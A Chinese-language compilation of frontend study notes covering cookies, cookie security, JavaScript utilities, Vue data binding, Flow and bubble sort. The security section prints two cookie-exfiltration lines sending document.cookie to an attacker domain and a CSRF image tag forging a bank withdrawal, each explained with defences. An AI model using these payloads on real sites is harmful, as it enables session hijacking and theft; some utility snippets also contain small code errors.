cookie

cookie概述

Cookie 是服务器保存在浏览器的一小段文本信息,每个 Cookie 的大小一般不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。

Cookie 主要用来分辨两个请求是否来自同一个浏览器,以及用来保存一些状态信息。它的常用场合有以下一些。

  • 对话(session)管理:保存登录、购物车等需要记录的信息。
  • 个性化:保存用户的偏好,比如网页的字体大小、背景色等等。
  • 追踪:记录和分析用户行为。

有些开发者使用 Cookie 作为客户端储存。这样做虽然可行,但是并不推荐,因为 Cookie 的设计目标并不是这个,它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。

Cookie 包含以下几方面的信息。

  • Cookie 的名字
  • Cookie 的值(真正的数据写在这里面)
  • 到期时间
  • 所属域名(默认是当前域名)
  • 生效的路径(默认是当前网址)

举例来说,用户访问网址www.example.com时,这个 Cookie 就会包含www.example.com这个域名,以及根路径/。这意味着,这个 Cookie 对该域名的根路径和它的所有子路径都有效。如果路径设为/forums,那么这个 Cookie 只有在访问www.example.com/forums及其子路径时才有效。以后,浏览器一旦访问这个路径,浏览器就会附上这段 Cookie 发送给服务器。

浏览器可以设置不接受 Cookie,也可以设置不向服务器发送 Cookie。window.navigator.cookieEnabled属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。

1
2
// 浏览器是否打开 Cookie 功能
window.navigator.cookieEnabled // true

document.cookie属性返回当前网页的 Cookie。

1
2
// 当前网页的 Cookie
document.cookie

不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过4KB。超过限制以后,Cookie 将被忽略,不会被设置。

浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie(参见《同源政策》一章)。注意,这里不要求协议相同。也就是说,http://example.com设置的 Cookie,可以被https://example.com读取。

Cookie 与 HTTP 协议

Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。

HTTP 响应:Cookie 的生成

服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie字段。

1
Set-Cookie:foo=bar

上面代码会在浏览器保存一个名为foo的 Cookie,它的值为bar。

HTTP 回应可以包含多个Set-Cookie字段,即在浏览器生成多个 Cookie。下面是一个例子。

1
2
3
4
5
6
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值,Set-Cookie字段还可以附加 Cookie 的属性。

1
2
3
4
5
6
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

上面的几个属性的含义,将在后文解释。

一个Set-Cookie字段里面,可以同时包括多个属性,没有次序的要求。

1
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

下面是一个例子。

1
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

如果服务器想改变一个早先设置的 Cookie,必须同时满足四个条件:Cookie 的key、domain、path和secure都匹配。举例来说,如果原始的 Cookie 是用如下的Set-Cookie设置的。

1
Set-Cookie: key1=value1; domain=example.com; path=/blog

改变上面这个 Cookie 的值,就必须使用同样的Set-Cookie。

1
Set-Cookie: key1=value2; domain=example.com; path=/blog

只要有一个属性不同,就会生成一个全新的 Cookie,而不是替换掉原来那个 Cookie。

1
Set-Cookie: key1=value2; domain=example.com; path=/

上面的命令设置了一个全新的同名 Cookie,但是path属性不一样。下一次访问example.com/blog的时候,浏览器将向服务器发送两个同名的 Cookie。

1
Cookie: key1=value1; key1=value2

上面代码的两个 Cookie 是同名的,匹配越精确的 Cookie 排在越前面。

HTTP 请求:Cookie 的发送

浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie字段。

1
Cookie: foo=bar

上面代码会向服务器发送名为foo的 Cookie,值为bar。

Cookie字段可以包含多个 Cookie,使用分号(;)分隔。

1
Cookie: name=value; name2=value2; name3=value3

下面是一个例子。

1
2
3
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服务器收到浏览器发来的 Cookie 时,有两点是无法知道的。

  • Cookie 的各种属性,比如何时过期。
  • 哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的。

Cookie 的属性

Expires,Max-Age

Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。

1
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果不设置该属性,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。

Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。

如果同时指定了Expires和Max-Age,那么Max-Age的值将优先生效。

如果Set-Cookie字段没有指定Expires或Max-Age属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。

Domain,Path

Domain属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 Cookie。比如,example.com不设置 Cookie 的domain属性,那么sub.example.com将不会附带这个 Cookie。如果指定了domain属性,那么子域名也会附带这个 Cookie。如果服务器指定的域名不属于当前域名,浏览器会拒绝这个 Cookie。

Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH属性是/,那么请求/docs路径也会包含该 Cookie。当然,前提是域名必须一致。

Secure,HttpOnly

Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。

HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。

(new Image()).src = “http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性,上面代码就不会读到该 Cookie。

document.cookie

document.cookie属性用于读写当前网页的 Cookie。

读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有HTTPOnly属性。

1
document.cookie // "foo=bar;baz=bar"

上面代码从document.cookie一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。

1
2
3
4
5
6
7
8
var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
console.log(cookies[i]);
}
// foo=bar
// baz=bar

document.cookie属性是可写的,可以通过它为当前网站添加 Cookie。

1
document.cookie = 'fontSize=14';

写入的时候,Cookie 的值必须写成key=value的形式。注意,等号两边不能有空格。另外,写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用encodeURIComponent方法达到。

但是,document.cookie一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。

1
2
3
4
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world

document.cookie读写行为的差异(一次可以读出全部 Cookie,但是只能写入一个 Cookie),与 HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候,Cookie字段是使用一行将所有 Cookie 全部发送;服务器向浏览器设置 Cookie 的时候,Set-Cookie字段是一行设置一个 Cookie。

写入 Cookie 的时候,可以一起写入 Cookie 的属性。

1
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";

上面代码中,写入 Cookie 的时候,同时设置了expires属性。属性值的等号两边,也是不能有空格的。

各个属性的写入注意点如下。

  • path属性必须为绝对路径,默认为当前路径。
  • domain属性值必须是当前发送 Cookie 的域名的一部分。比如,当前域名是example.com,就不能将其设为foo.com。该属性默认为当前的一级域名(不含二级域名)。
  • max-age属性的值为秒数。
  • expires属性的值为 UTC 格式,可以使用Date.prototype.toUTCString()进行日期格式转换。

document.cookie写入 Cookie 的例子如下。

1
2
3
4
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=*.example.com';

Cookie 的属性一旦设置完成,就没有办法读取这些属性的值。

删除一个现存 Cookie 的唯一方法,是设置它的expires属性为一个过去的日期。

1
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';

上面代码中,名为fontSize的 Cookie 的值为空,过期时间设为1970年1月1月零点,就等同于删除了这个 Cookie。

safe

多数网站使用cookie作为用户会话的唯一标识,因为其他的方法具有限制和漏洞。如果一个网站使用cookies作为会话标识符,攻击者可以通过窃取一套用户的cookies来冒充用户的请求。从服务器的角度,它是没法分辨用户和攻击者的,因为用户和攻击者拥有相同的身份验证。 下面介绍几种cookie盗用和会话劫持的例子:

网络窃听

网络上的流量可以被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下,攻击者可以读取网络上的其他用户的信息,包含HTTP Cookie的全部内容,以便进行中间的攻击。比如:拦截cookie来冒充用户身份执行恶意任务(银行转账等)。

解决办法:服务器可以设置secure属性的cookie,这样就只能通过https的方式来发送cookies了。

DNS缓存中毒

如果攻击者可以使DNS缓存中毒,那么攻击者就可以访问用户的Cookie了,例如:攻击者使用DNS中毒来创建一个虚拟的DNS服务h123456.www.demo.com指向攻击者服务器的ip地址。然后攻击者可以从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,由于 www.demo.comh123456.www.demo.com是同一个子域,所以浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。

一般情况下是不会发生这种情况,通常是网络供应商错误。

跨站点脚本XSS

使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。

例子:

1
<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>

当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。

解决办法:可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。

跨站请求伪造CSRF
例如,SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素,例如,

1
<img  src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >

如果SanShao的银行将其认证信息保存在cookie中,并且cookie尚未过期,(当然是没有其他验证身份的东西),那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单,从而在未经SanShao批准的情况下授权交易。

解决办法:增加其他信息的校验(手机验证码,或者其他盾牌)。

对象缓存

局部对象缓存

方法定义

1
2
3
4
5
6
7
8
9
let cache = {}
export default {
save (key, val) {
cache[key] = val
},
load (key) {
return cache[key]
}
}

使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import cache from '../cache';
data() {
return {
cachelist: cache.load(CACHE_LIST_KEY) || [],
}
}
methods: {
ajax({
url:,
method:,
data: {},
success: function(res, status) {
//存数据
cache.save(CACHE_LIST_KEY, info.obj[0].applist)
},
error:function(){

}
})
}

日活的各种指标

UV(Unique visitor)

是指通过互联网访问、浏览这个网页的自然人。访问您网站的一台电脑客户端为一个访客。00:00-24:00内相同的客户端只被计算一次。一天内同个访客多次访问仅计算一个UV。

IP(Internet Protocol)

独立IP是指访问过某站点的IP总数,以用户的IP地址作为统计依据。00:00-24:00内相同IP地址之被计算一次。

UV与IP区别:如:你和你的家人用各自的账号在同一台电脑上登录新浪微博,则IP数+1,UV数+2。由于使用的是同一台电脑,所以IP不变,但使用的不同账号,所以UV+2

PV(Page View)

即页面浏览量或点击量,用户每1次对网站中的每个网页访问均被记录1个PV。用户对同一页面的多次访问,访问量累计,用以衡量网站用户访问的网页数量。

VV(Visit View)

用以统计所有访客1天内访问网站的次数。当访客完成所有浏览并最终关掉该网站的所有页面时便完成了一次访问,同一访客1天内可能有多次访问行为,访问次数累计。

PV与VV区别:如:你今天10点钟打开了百度,访问了它的三个页面;11点钟又打开了百度,访问了它的两个页面,则PV数+5,VV数+2.PV是指页面的浏览次数,VV是指你访问网站的次数。

utils

Array

Date

时间戳 转 年-月-日 时:分

1
2
3
4
5
6
7
8
9
10
11
let YMD = (now)  => {
if(now == null) return null;
now = Number(now);
var date = new Date(now);
Y = date.getFullYear();
M = (date.getMonth() + 1 < 10 ? '0' + (date.getMonth() + 1) : date.getMonth() + 1);
D = date.getDate() < 10 ? '0' + (date.getDate()) : date.getDate();
H = date.getHours() < 10 ? '0' + (date.getHours()): date.getHours() ;
F = date.getMinutes() < 10 ? '0' + (date.getMinutes()) : date.getMinutes();
return Y + '-' + M + '-' + D + '' + H + ':' + F;
}

日期 年/月/日 时:分 转成 时间戳

1
2
3
4
5
6
let unix = (args) => {
var arr = args.split(" ");
var time = (new Date(arr)).getTime();
console.log(time); // 1496909520000 单位:ms
return time;
}

根据时间戳判断不同的时间段显示今天,昨天,前天,具体日期

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
let format = (time) => {
const oneDay = 24*60*60*1000; // 一天的毫秒数
var today = new Date();
var param = new Date(time);
var d = Math.floor(today.getTime()/oneDay) - Math.floor(time/oneDay);
if (d == 0) {
// 今天
return '今天';
} else if (d == 1) {
// 昨天
return '昨天';
} else if (d == 2) {
// 前天
return '前天';
} else {
// 显示具体日期
if (today.getFullYear() == param.getFullYear()) {
// 不显示年
return param.getMonth()+1 + '-' + param.getDate();
} else {
// 显示年
return param.getFullYear() + '-' + (param.getMonth()+1) + '-' + param.getDate();
}
}
}

Function

Math

Number

百分数转换成小数

1
2
3
4
5
let percentTodecimal = (percent) = {
var decimal = (String(percent).replace(/%/, ""))/100 ;
//保留两位
return decimal.toFixed(2);
}

数字转换成百分数

1
2
3
4
5
let toPercent = (point) => {
var str=Number(point*100).toFixed(1);
str+="%";
return str;
}

数字加单位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* 数字转整数 如 100000 转为10万
* @param {需要转化的数} num
* @param {需要保留的小数位数} point
*/

let browseNumber = (num, point) => {
let numStr = num.toString()
// 万以内直接返回
if (numStr.length < 5) {
return numStr;
}
//大于8位数是亿
else if (numStr.length > 8) {
let decimal = numStr.substring(numStr.length - 8, numStr.length - 8 + parseInt(point));
return parseFloat(parseInt(num / 100000000) + '.' + decimal) + '亿';
}
//大于4位数是万
else if (numStr.length > 4 && numStr.length <= 5) {
let decimal = numStr.substring(numStr.length - 4, numStr.length - 4 + parseInt(point))
return parseFloat(parseInt(num / 10000) + '.' + decimal) + '万';
}
//大于5位数是十万+
else if (numStr.length > 5) {
let decimal = numStr.substring(numStr.length - 4, numStr.length - 4 + parseInt(point))
return parseFloat(parseInt(10)) + '万+';
}
};

Object

判断对象的数据类型

使用 Object.prototype.toString 配合闭包,通过传入不同的判断类型来返回不同的判断函数(注意传入 type 参数时首字母大写)

不推荐将这个函数用来检测可能会产生包装类型的基本数据类型上,因为 call 会将第一个参数进行装箱操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function dataType(){
// 预置目前已知的数据类型
var is ={
types : [ "String","Boolean", "Number", "Array", "Object", "Date", "RegExp","Window", "HTMLDocument"]
};
for(var i = 0, c; c = is.types[ i++ ]; ){
is[c] = (function(type){
return function(obj){
return Object.prototype.toString.call(obj) == "[object " + type + "]";
}
})(c);
}
// 利用return返回值,提供给外面调用
return is ;
}

var is = dataType();
//检测是否是字符串对象
console.log(is.String('11'));
// true

ES6的写法(推荐)

1
2
3
4
const isType = type => target => '[object ${type}]' === Object.prototype.toString.call(target);
const isArray = isType('Array');
console.log(isArray([]));
> true

检测对象(不仅指Object)是否存在并且检测对象是否为空

方式一:jq $.isEmptyObject(obj); 空ture 非空false

1
2
3
4
5
6
7
8
9
10
11
12
function isEmptyObject_1(obj){
if (typeof obj === "undefined") {
console.log("该对象不存在");
}else{
if($.isEmptyObject(obj)==true){
console.log("空对象");
}else{
console.log("非空对象");
}
}
}

方式二:利用JSON.stringify(obj)方法检测

1
2
3
4
5
6
7
8
9
10
11
function isEmptyObject_2(obj){
if (typeof obj === "undefined") {
console.log("该对象不存在");
}else{
if(JSON.stringify(obj) == "{}"){
console.log("空对象");
}else{
console.log("非空对象");
}
}
}

String

indexOf查找字符串中是否有某个特殊字符

1
2
3
4
// indexOf的用法: 含有这个字符返回索引位置,没有返回-1
let indexOf = (str,character) => {
return str.indexOf(character);
}

解析url的参数组装成对象返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let parseQueryString = (url) => {
let reg_url = /^[^\?]+\?([\w\W]+)$/,
reg_para = /([^&=]+)=([\w\W]*?)(&|$|#)/g,
arr_url = reg_url.exec(url),
ret = {}

if (arr_url && arr_url[1]) {
var str_para = arr_url[1], result;
while ((result = reg_para.exec(str_para)) != null) {
ret[result[1]] = result[2];
}
}
return ret
};

其他

根据姓氏选取数组中预置的背景颜色

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
let getColor = (name) => {
var color= ['#eead10','#f99a2b','#f38134','#6495ed','#3ab1aa','#0abfb5','#06aae1','#00bfff','#96bc53','#00ced1','#89a8e0'];
var newName = encodeURI(name).replace(/%/g, "");
var lastName, hexadecimal, tenBinary;
//长度大于等于6位,取后六位
if(newName.length >= 6) {
lastName = newName.substr(0,6);
hexadecimal = parseInt(lastName,16);
//能转成数字
if(hexadecimal) {
tenBinary = hexadecimal%10;
return color[tenBinary];
} else {
//不能转数字
return color[10];
}
} else {
return color[10]
}
}

表单获取焦点时placeholder的提示语消失,提升用户体验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let placeholder = () => {
$(document).on('focus','textarea',function(){
$(this).attr('placeholder','');
if(!$.trim(this.value)){
this.value = '';
}
}).on('blur','textarea',function(){
var salf = this;
$(salf).attr('placeholder','请输入说明文字');
if(!$.trim(salf.value)){
this.value = '';
setTimeout(function(){salf.value = '';},100);
}
});
}

数据驱动

数据驱动

Vue.js 一个核心思想是数据驱动。所谓数据驱动,是指视图是由数据驱动生成的,我们对视图的修改,不会直接操作 DOM,而是通过修改数据。它相比我们传统的前端开发,如使用 jQuery 等前端库直接修改 DOM,大大简化了代码量。特别是当交互复杂的时候,只关心数据的修改会让代码的逻辑变的非常清晰,因为 DOM 变成了数据的映射,我们所有的逻辑都是对数据的修改,而不用碰触 DOM,这样的代码非常利于维护。

实现原理

vue实现数据双向绑定主要是:采用数据劫持结合发布者-订阅者模式的方式,通过Object.defineProperty()来劫持各个属性的setter,getter,在数据变动时发布消息给订阅者,触发相应监听回调。当把一个普通 Javascript 对象传给 Vue 实例来作为它的 data 选项时,Vue 将遍历它的属性,用 Object.defineProperty 将它们转为 getter/setter。用户看不到 getter/setter,但是在内部它们让 Vue 追踪依赖,在属性被访问和修改时通知变化。

vue的数据双向绑定 将MVVM作为数据绑定的入口,整合Observer,Compile和Watcher三者,通过Observer来监听自己的model的数据变化,通过Compile来解析编译模板指令(vue中是用来解析模板字符串),最终利用watcher搭起observer和Compile之间的通信桥梁,达到数据变化 —>视图更新;视图交互变化(input)—>数据model变更双向绑定效果。

对getter/setter的理解?

当打印出Vue实例下的data对象里的属性,它的每个属性都有两个相对应的get和set方法,顾名思义,get为取值,set为赋值,正常情况下,我们取值和赋值是用obj.prop的方式,但是这样做有一个问题,我如何知道对象的值改变了?所以就轮到set登场了。你可以把get和set理解为function,当我们调用对象的属性时,我们会进入到get.属性(){…}中,先判断对象是否有这个属性,如果没有,那麽就添加一个name属性,并给它赋值;如果有name属性,那就返回name属性。你可以把get看成一个取值的函数,函数的返回值就是它拿到的值。感觉比较重要的是set属性,当给实例赋值:此时,会进入set name(val){…};形参val就是我赋给name属性的值,在这个函数里,就可以做很多事了,比如双向绑定!因为这个值的每次改变都必须经过set,其他方式是改变不了它的,相当于一个万能的监听器。ES5的对象原型有两个新的属性__defineGetter__和__defineSetter__,专门用来给对象绑定get和set。建议使用下面这种方式,因为是在原型上书写,所以可以继承和重用。

实现方式

Vue.js的数据驱动就是通过MVVM这种框架来实现的。MVVM框架主要包含3个部分:model、view和 viewmodel。

Model:指的是数据部分,对应到前端相当于javascript对象

View:指的是视图部分,对应前端相当于dom

Viewmodel:就是连接视图与数据的中间件通讯

 

数据(Model)和视图(View)是不能直接通讯的,而是需要通过ViewModel来实现双方的通讯。当数据变化的时候,viewModel能够监听到这种变化,并及时的通知view做出修改。同样的,当页面有事件触发时,viewMOdel也能够监听到事件,并通知model进行响应。Viewmodel就相当于一个观察者,监控着双方的动作,并及时通知对方进行相应的操作。

Flow

认识 Flow

Flow 是 facebook 出品的 JavaScript 静态类型检查工具。Vue.js 的源码利用了 Flow 做了静态类型检查,所以了解 Flow 有助于我们阅读源码。

为什么用 Flow

JavaScript 是动态类型语言,它的灵活性有目共睹,但是过于灵活的副作用是很容易就写出非常隐蔽的隐患代码,在编译期甚至看上去都不会报错,但在运行阶段就可能出现各种奇怪的 bug。
类型检查是当前动态类型语言的发展趋势,所谓类型检查,就是在编译期尽早发现(由类型错误引起的)bug,又不影响代码运行(不需要运行时动态检查类型),使编写 JavaScript 具有和编写 Java 等强类型语言相近的体验。
项目越复杂就越需要通过工具的手段来保证项目的维护性和增强代码的可读性。 Vue.js 在做 2.0 重构的时候,在 ES2015 的基础上,除了 ESLint 保证代码风格之外,也引入了 Flow 做静态类型检查。之所以选择 Flow,主要是因为 Babel 和 ESLint 都有对应的 Flow 插件以支持语法,可以完全沿用现有的构建配置,非常小成本的改动就可以拥有静态类型检查的能力。

Flow 的工作方式

通常类型检查分成 2 种方式:

  • 类型推断:通过变量的使用上下文来推断出变量类型,然后根据这些推断来检查类型。
  • 类型注释:事先注释好我们期待的类型,Flow 会基于这些注释来判断。

类型判断

它不需要任何代码修改即可进行类型检查,最小化开发者的工作量。它不会强制你改变开发习惯,因为它会自动推断出变量的类型。这就是所谓的类型推断,Flow 最重要的特性之一。
通过一个简单例子说明一下:

1
2
3
4
5
6
7
/*@flow*/``

function split(str) {
return str.split(' ')
}

split(11)

Flow 检查上述代码后会报错,因为函数 split 期待的参数是字符串,而我们输入了数字。

类型注释

如上所述,类型推断是 Flow 最有用的特性之一,不需要编写类型注释就能获取有用的反馈。但在某些特定的场景下,添加类型注释可以提供更好更明确的检查依据。
考虑如下代码:

1
2
3
4
5
6
7
/*@flow*/

function add(x, y){
return x + y
}

add('Hello', 11)

Flow 检查上述代码时检查不出任何错误,因为从语法层面考虑, + 即可以用在字符串上,也可以用在数字上,我们并没有明确指出 add() 的参数必须为数字。
在这种情况下,我们可以借助类型注释来指明期望的类型。类型注释是以冒号 : 开头,可以在函数参数,返回值,变量声明中使用。
如果我们在上段代码中添加类型注释,就会变成如下:

1
2
3
4
5
6
7
/*@flow*/

function add(x: number, y: number): number {
return x + y
}

add('Hello', 11)

现在 Flow 就能检查出错误,因为函数参数的期待类型为数字,而我们提供了字符串。

上面的例子是针对函数的类型注释。接下来我们来看看 Flow 能支持的一些常见的类型注释。

数组

1
2
3
4
5
/*@flow*/

var arr: Array<number> = [1, 2, 3]

arr.push('Hello')

数组类型注释的格式是 Array,T 表示数组中每项的数据类型。在上述代码中,arr 是每项均为数字的数组。如果我们给这个数组添加了一个字符串,Flow 能检查出错误。

类和对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*@flow*/

class Bar {
x: string; // x 是字符串
y: string | number; // y 可以是字符串或者数字
z: boolean;

constructor(x: string, y: string | number) {
this.x = x
this.y = y
this.z = false
}
}

var bar: Bar = new Bar('hello', 4)

var obj: { a: string, b: number, c: Array<string>, d: Bar } = {
a: 'hello',
b: 11,
c: ['hello', 'world'],
d: new Bar('hello', 3)
}

类的类型注释格式如上,可以对类自身的属性做类型检查,也可以对构造函数的参数做类型检查。这里需要注意的是,属性 y 的类型中间用 | 做间隔,表示 y 的类型即可以是字符串也可以是数字。
对象的注释类型类似于类,需要指定对象属性的类型。

Null

若想任意类型 T 可以为 null 或者 undefined,只需类似如下写成 ?T 的格式即可。

1
2
3
/*@flow*/

var foo: ?string = null

此时,foo 可以为字符串,也可以为 null。
目前我们只列举了 Flow 的一些常见的类型注释。如果想了解所有类型注释,请移步 Flow 的官方文档。

Flow 在 Vue.js 源码中的应用

有时候我们想引用第三方库,或者自定义一些类型,但 Flow 并不认识,因此检查的时候会报错。为了解决这类问题,Flow 提出了一个 libdef 的概念,可以用来识别这些第三方库或者是自定义类型,而 Vue.js 也利用了这一特性。
Vue.js 的主目录下有 .flowconfig 文件, 它是 Flow 的配置文件,感兴趣的同学可以看官方文档。这其中的 [libs] 部分用来描述包含指定库定义的目录,默认是名为 flow-typed 的目录。
这里 [libs] 配置的是 flow,表示指定的库定义都在 flow 文件夹内。我们打开这个目录,会发现文件如下:

1
2
3
4
5
6
7
8
flow
├── compiler.js # 编译相关
├── component.js # 组件数据结构
├── global-api.js # Global API 结构
├── modules.js # 第三方库定义
├── options.js # 选项相关
├── ssr.js # 服务端渲染相关
├── vnode.js # 虚拟 node 相关

可以看到,Vue.js 有很多自定义类型的定义,在阅读源码的时候,如果遇到某个类型并想了解它完整的数据结构的时候,可以回来翻阅这些数据结构的定义。

assets和static的区别

处理静态资产

在项目结构中您可能注意到我们有两个静态资产目录:src/assets和static/。可能有人会问,他们之间有什么区别?

Webpacked Assets

为了回答这个问题,我们首先需要了解Webpack如何处理静态资产。在 *.vue 组件中,所有模板和CSS都会被 vue-html-loader 及 css-loader 解析,并查找资源URL。例如,在
<img src="./logo.png">

background: url(./logo.png)
中,”./logo.png” 是相对的资源路径,将由Webpack解析为模块依赖。

因为 logo.png 不是 JavaScript,当被视为模块依赖时,需要使用 url-loader 和 file-loader
处理它。vue-cli 的 webpack 脚手架已经配置了这些 loader,因此可以使用相对/模块路径。

由于这些资源可能在构建过程中被内联/复制/重命名,所以它们基本上是源代码的一部分。这就是为什么建议将
Webpack 处理的静态资源放在 /src 目录中和其它源文件放一起的原因。事实上,甚至不必把它们全部放在 /src/assets:可以用模块/组件的组织方式来使用它们。例如,可以在每个放置组件的目录中存放静态资源。

“Real” Static Assets

相比之下,static/ 目录下的文件并不会被 Webpack 处理:它们会直接被复制到最终目录(默认是dist/static)下。必须使用绝对路径引用这些文件,这是通过在 config.js 文件中的 build.assetsPublicPath 和 build.assetsSubDirectory 连接来确定的。

任何放在 static/ 中文件需要以绝对路径的形式引用:/static/[filename]。如果更改 assetSubDirectory 的值为 assets,那么路径需改为 /assets/[filename]。

总结

assets里面的会被webpack打包进你的代码里,而static里面的,就直接引用了。一般在static里面放一些类库的文件,在assets里面放属于该项目的资源文件。

with语句

with语句

  • 作用: 将代码的作用域设置到一个特定的对象中
  • 语法:with(expression) statement;

使用with语句的目的主要是简化多次编写同一个对象的工作,

例如

1
2
3
var qs = location.search.substring(1);
var hostname = location.hostname;
var url = location.href;

上面代码都包含location对象。如果使用with语句可以改写如下

1
2
3
4
5
with(location){
var qs = search.substring(1);
var hostname = hostname;
var url = href;
}

在这个重写的例子中,使用with语句关联了location对象,意味着在with语句的代码快内部。每个变量首先会被认为是一个局部变量,而如果在局部环境中找不到该变量的定义,就会查找location对象中是否有同名的属性。如果发现了同名属性,则以location对象属性的值作为变量的值。

严格模式下不允许使用with语句,否则将视为语法错误

由于大量使用with语句会导致性能下降,同时也会给代码调试造成困难,因为在开发大型应用程序中,不建议使用with语句。

冒泡排序

冒泡排序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!--目标数组-->
var array = [1,3,4,7,8,5,22,11,15,35,9] ;

<!--方法一-->
function bubbleSort1(array){
var temp ;
for (var i = 0; i < array.length; i++){
for (var j = 0; j < array.length - 1; j++){
if (array[j] > array[j + 1]){
<!--先把j+1位置的值(小的)赋给中间值保存-->
temp = array[j + 1];
<!--然后把j位置的值(大的)赋给j+1,位置不变,但是要重新赋值-->
array[j + 1] = array[j];
<!--然后把临时保存的小值赋给前面位置的j-->
array[j] = temp;
}
}
}
return array ;
}


<!--方法二-->
function bubbleSort2(array){
var temp ;
var i = array.length - 1 ;
var j ;
while (i > 0) {
for(j = 0 ; j <= i ; j ++) {
if(array[j] - array[j + 1] > 0){
temp = array [j] ;
array[j] = array [j + 1];
array[j + 1] = temp ;
}
}
i-- ;
}
return array ;
}

jQuery实现的轮盘抽奖

微信公众号的大转盘抽奖效果

